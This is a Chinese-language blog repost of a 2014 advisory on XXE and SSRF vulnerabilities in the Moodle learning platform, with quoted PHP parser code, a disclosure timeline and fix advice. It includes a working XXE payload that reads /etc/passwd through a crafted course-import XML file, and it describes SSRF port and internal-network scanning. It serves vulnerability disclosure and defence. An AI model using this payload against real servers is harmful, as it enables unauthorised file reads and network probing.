最新消息:

Moodle 2.6.x Multiple XXE and SSRF Vulnerabilities

PHP代码审计 admin 4713浏览 0评论

0×01,背景:

Moodle(Open-source Learning Platform)是一个开源及自由的电子学习软件平台,是当前全球使用量最大的开源在线教育学习平台。它有一个很有分量的用户群体:根据其2010年1 月的统计,现时有45,721个已注册及查核的网站,为3200万位用户提供约300万个课程。Moodle为一个线上学习系统,为全世界有150余国 70种语言所使用。

0×02,漏洞说明:

Moodle多处提供了基于XML格式的数据导入导出机制,均未禁止外部实体解析,导致可利用进行外部实体攻击。此外Moodle所使用的上传组件还存在SSRF服务端请求欺骗漏洞。

影响版本:1.9.x-2.6.2+(Current the lastest version)

测试环境:CentOS 6.5 x64,Ubuntu 12.04 x86 (PHP 5.3.17)

Found By:pnig0s

0×03,漏洞分析:

1,imscc格式课程数据导入功能XXE攻击:

Moodle创建的课程可以以imscc的格式导出,imscc格式可被用于各类在线教育平台使用,在导出的压缩包中课程的配置信息以XML格式存储。

jinglingshu_2014-07-15_16-04-05

在导入时,后端会在解压后对XML解析处理,相关代码位于\backup\cc\cc2moodle.php,106行附近:

function __construct ($path_to_manifest) {
    
    static::$manifest = new DOMDocument();
    static::$manifest->validateOnParse = false;
    
    static::$path_to_manifest_folder = dirname($path_to_manifest);
    
    static::log_action('Proccess start');
    static::log_action('Load the manifest file: ' . $path_to_manifest);
    
    if (!static::$manifest->load($path_to_manifest, LIBXML_NONET)) {
        static::log_action('Cannot load the manifest file: ' . $path_to_manifest, true);
    }
}

这段代码对压缩包中的imsmanifest.xml使用DOMDocument进行解析,但使用 了$manifest->validateOnParse = false;和$manifest->load($path_to_manifest, LIBXML_NONET)禁止了外部实体的解析和解析实体时的网络请求。因此该处不存在问题,但通过分析imsmanifest.xml的结构,其引用 了压缩包两个文件夹里的xml文件。

<resources>
    <resource identifier="I_2C5D8091_R" type="imsdt_xmlv1p1">
      <file href="i_9fd82af2/discussion.xml"/>
    </resource>
    <resource identifier="I_0F381EA8_R" type="imsdt_xmlv1p1">
      <file href="i_946abb5b/discussion.xml"/>
    </resource>
</resources>

而后端代码也会解析这段XML并找到这两个目录中的XML文件继续解析,代码位于:\moodle\backup\cc\entities.class.php 72行左右:

public function load_xml_resource ($path_to_file) {
    
    $resource = new DOMDocument();
    
    cc2moodle::log_action('Load the XML resource file: ' . $path_to_file);
    
    if (!$resource->load($path_to_file)) {
        cc2moodle::log_action('Cannot load the XML resource file: ' . $path_to_file, true);
    }
    
    return $resource;
}

此处对子目录中的XML解析却未做过滤,可以构造特定的外部实体来读取本地文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<topic xmlns="http://www.imsglobal.org/xsd/imsccv1p1/imsdt_v1p1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.imsglobal.org/xsd/imsccv1p1/imsdt_v1p1 http://www.imsglobal.org/profile/cc/ccv1p1/ccv1p1_imsdt_v1p1.xsd">
  <title>pwn2own</title>
  <text texttype="text/plain">&xxe;</text>
</topic>

jinglingshu_2014-07-15_16-04-07

jinglingshu_2014-07-15_16-04-09

2,ims内容包发布XXE攻击:

用户可以对课程增加IMS格式的外部内容包,此处在对内容XML解析时未禁止外部实体解析,导致XXE攻击,问题代码位于:mod\imscp\locallib.php 106,207行左右:

function imscp_parse_manifestfile($manifestfilecontents, $imscp, $context) {
    $doc = new DOMDocument();
    if (!$doc->loadXML($manifestfilecontents, LIBXML_NONET)) {
        return null;
    }
    
    // we put this fake URL as base in order to detect path changes caused by xml:base attributes
    $doc->documentURI = 'http://grrr/';

只禁止了网络请求,但是可以读取本地文件内容,利用代码同上:

jinglingshu_2014-07-15_16-04-071

jinglingshu_2014-07-15_16-04-11

jinglingshu_2014-07-15_16-04-10

3,上传组件SSRF漏洞:

Moodle内部的上传组件支持根据输入的URL来读取目标URL包含的图片内容,URL是在服务端后端代码中通过CURL和fsockopen来访问处理的,未对内网IP及协议做过滤,导致可探测本地文件,扫描端口,探测内网。探测本地/etc/passwd:

jinglingshu_2014-07-15_16-04-14

jinglingshu_2014-07-15_16-04-16

暂时无法直接返回文件内容:(。访问一个不存在的端口

jinglingshu_2014-07-15_16-04-18

端口25存在并返回Banner信息:

jinglingshu_2014-07-15_16-04-20

端口22存在:

jinglingshu_2014-07-15_16-04-24

0×04,漏洞影响:

  1. 本地任意文件探测,内容读取

  2. 端口扫描

  3. 内网探测

0×05,修复建议:

libxml_disable_entity_loader(true)禁止外部实体的解析,对内部IP及无用协议进行过滤。

0×06,披露过程:

05/01/2014 —— 发现问题

05/06/2014 —— 提交官方(MDL-45417)

07/10/2014 —— Fix released in 2.4.11, 2.5.7, 2.6.4, 2.7.1

07/11/2014 —— Disclosure

 

转载请注明:jinglingshu的博客 » Moodle 2.6.x Multiple XXE and SSRF Vulnerabilities

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (2)

  1. My brother recommended I may like this website. He was once entirely right. Thiis submit truly made my day. You cann't consider just how so much time I had spent for this info! Thanks!
    Healing Crystals4年前 (2021-02-17)回复
  2. Hi, its good piece of writing on the topic of media print, we all know media is a great source of facts.
    Bandarq Terpercaya4年前 (2021-04-04)回复